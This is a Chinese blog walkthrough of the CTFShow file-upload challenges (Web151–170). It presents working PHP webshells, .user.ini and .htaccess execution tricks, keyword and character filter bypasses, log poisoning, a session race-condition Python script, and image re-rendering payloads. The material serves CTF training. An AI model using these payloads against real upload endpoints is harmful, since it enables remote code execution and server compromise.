跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP

CTFShow Web 入门:文件上传漏洞实战

CTFShow Web 入门系列中关于文件上传漏洞的解题思路,涵盖从基础绕过到高级利用技巧。内容包括 MIME 类型检测绕过、.user.ini 与.htaccess 配置执行、短标签及关键字过滤规避、特殊字符过滤下的命令执行、日志包含攻击、条件竞争利用、Session 注入以及图片二次渲染漏洞等。通过多个实战案例,详细展示了 PHP 环境下的文件上传安全测试方法与防御绕过方案。

机器人发布于 2026/4/5更新于 2026/10/26103 浏览

Web151

前端限制不可靠,正常发个图片马然后抓包在 Burp Suite 中修改为 php 即可。

<?= phpinfo(); eval($_POST["pass"]); ?>

查看 flag 位置,直接 cat 不行,尝试使用 filter 或 show_source:

pass=include('php://filter/convert.base64-encode/resource=../flag.php');
pass=show_source('../flag.php');

Web152

后端检验 MIME 类型(Content-Type),要求为 image/png。上一题的做法依旧可行。

Web153(上传.user.ini 绕过后缀)

.php 后缀被过滤,可利用 .user.ini 和.htaccess 绕过。

.user.ini 可设置特定目录下的 PHP 配置,覆盖全局 php.ini。利用 auto_prepend_file 自动执行木马。

  1. 编写 .user.ini,添加 png 后缀上传后改回:
    auto_prepend_file=shell.png
    
  2. 上传 shell.png(实际内容为 PHP 代码)。
  3. 访问 /upload 目录,主文件加载时自动执行 shell.png。

Web154(短标签绕过关键字)

文件内容不允许有 php 关键字,可使用短标签或 ASP 风格:

<?php @eval($_POST['cmd']); ?>
<?=@eval($_POST['cmd']); ?>
<% @eval($_POST['cmd']); %>
<script language='php'>@eval($_POST['cmd']);</script>

同样需要配合 .user.ini 绕过。

Web155

与 Web154 相同。

Web156([] 过滤)

过滤了 php 后缀、php 关键字和中括号。可用大括号代替数组访问,使用 弹出参数:

array_pop()
<?= @eval(array_pop($_POST))?>

Web157([, {, ; 过滤)

在 Web156 基础上过滤了大括号和分号。同上题马:

<?= @eval(array_pop($_POST))?>

Web158

同 Web157。

Web159(括号和分号均被过滤)

使用反引号执行系统命令:

<?= `cat ../flag.???`?>

flag 在注释里。

Web160(日志包含)

反引号和 include 可用,依旧上传 .user.ini 后上传 shell.png。

构造包含日志的 payload(用拼接绕过过滤):

<?=include"/var/lo"."g/nginx/access.l"."og"?>

发现日志的 UA 头部分当作 PHP 执行,输入命令执行拿到 flag:

<?= `cat ../flag`?>

Web161(GIF89 绕过)

文件检测头内容判断是否为图片,在上传文件开头加 GIF89a 即可。

Web162(条件竞争/session 包含)

条件竞争: 上传速度大于删除速度时,文件处于待校验状态,趁机访问。

1. Session 包含: 利用 PHP_SESSION_UPLOAD_PROGRESS 将恶意代码写入 session 文件。

<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>" />
    <input type="file" name="111" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包将 session id 设置为 'shell',此时 /tmp/sess_shell 中已有马。

2. 上传 .user.ini:

auto_prepend_file=/tmp/sess_shell

3. 利用条件竞争疯狂上传 sess_shell 文件,再不断 GET 访问 /upload。

Python 脚本示例:

import requests
import threading
import re

session = requests.session()
sess = 'shell'
url1 = "http://challenge.ctf.show/"
url2 = "http://challenge.ctf.show/upload"
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'}
file = {'file': '111'}
cookies = {'PHPSESSID': sess}

def upload_file():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)

def check_flag():
    while True:
        response = session.get(url2)
        if 'flag' in response.text:
            flag = re.search(r'ctfshow{.+}', response.text)
            if flag:
                print(flag.group())

threads = [
    threading.Thread(target=upload_file),
    threading.Thread(target=check_flag)
]
for t in threads:
    t.start()

Web163

与 Web162 相同。

Web164(png 二次渲染)

PNG 结构包含 IHDR、IDAT、IEND 块。通过脚本将恶意代码插入 IDAT 块,经过浏览器二次渲染后保留。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

上传后参数为 $*GET[0]($*POST[1])。

Web165(jpg 二次渲染)

JPG 文件由多个段组成(SOI, APPn, DQT, SOS, EOI)。修改 APPn 段嵌入恶意数据,二次渲染时触发漏洞。

使用脚本注入 payload:

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
// ... (详细脚本逻辑略)
?>

用法:先上传原图获取处理后的图片,本地运行脚本加工后再上传。

Web166(zip 注入)

随便搞个压缩包再把恶意代码插入进去即可。

Web167(.htaccess)

上传 .htaccess,功能是把指定文件作为 php 执行。

<FilesMatch "shell.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

或者:

AddType application/x-httpd-php .jpg

注意 Content-Type 需为 image/jpeg。

Web168

木马里用反引号执行命令即可。

Web169&170(.user.ini 的条件利用)

< 被 ban,无法写马。从靶机内部文件入手,利用日志包含。

直接在 .user.ini 中包含日志:

auto_prepend_file=/var/log/nginx/access.log

然后在 UA 头写马就能拿 flag。

目录

  1. Web151
  2. Web152
  3. Web153(上传.user.ini 绕过后缀)
  4. Web154(短标签绕过关键字)
  5. Web155
  6. Web156([] 过滤)
  7. Web157([, {, ; 过滤)
  8. Web158
  9. Web159(括号和分号均被过滤)
  10. Web160(日志包含)
  11. Web161(GIF89 绕过)
  12. Web162(条件竞争/session 包含)
  13. Web163
  14. Web164(png 二次渲染)
  15. Web165(jpg 二次渲染)
  16. Web166(zip 注入)
  17. Web167(.htaccess)
  18. Web168
  19. Web169&170(.user.ini 的条件利用)

更多推荐文章

查看全部
  • 在OrangePi-5 Plus/5 Ultra上实时运行yolo26进行无人机检测,fps超50!
  • GitHub Copilot 在 VS Code 中的 AI 代理开发指南
  • Spring AI Tool Calling 实战:自动执行、手动控制与异常处理
  • 小米推出手机端智能体应用 MiClaw,重构智能家居底层逻辑
  • AI 时代,普通人如何脱颖而出?
  • VR 多相电源架构与选型设计详解
  • VLM 经典论文综述:An Introduction to Vision-Language Modeling
  • 昇腾设备部署 llama.cpp 实践
  • Stable Diffusion WebUI 本地部署教程(AUTOMATIC1111 版)
  • 硬件工程师成长之路——知识汇总
  • Ubuntu 24.04 GPU 服务器测试系统盘制作
  • 网络安全为什么缺人?缺什么样的人?
  • 在安卓设备使用 Termux 搭建 Debian 环境并运行 PC 级 Linux 应用
  • Docker 部署 Coze 应用服务实战操作详解
  • 2026 年主流 AI 工具对比:豆包、DeepSeek、元宝、ChatGPT、Cursor
  • DeepSeek + 通义万相高效制作 AI 视频实战详解
  • AI 办公成职场标配,别再用错拖后腿!7 套书教你精准用 AI 提效
  • VSCode Copilot 配置使用 DeepSeek 模型指南
  • 7 款热门 Claude Skills 开源项目解析:自动化工作流与代码审查实战
  • Python 临床知识问答与检索项目落地实践

相关免费在线工具

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online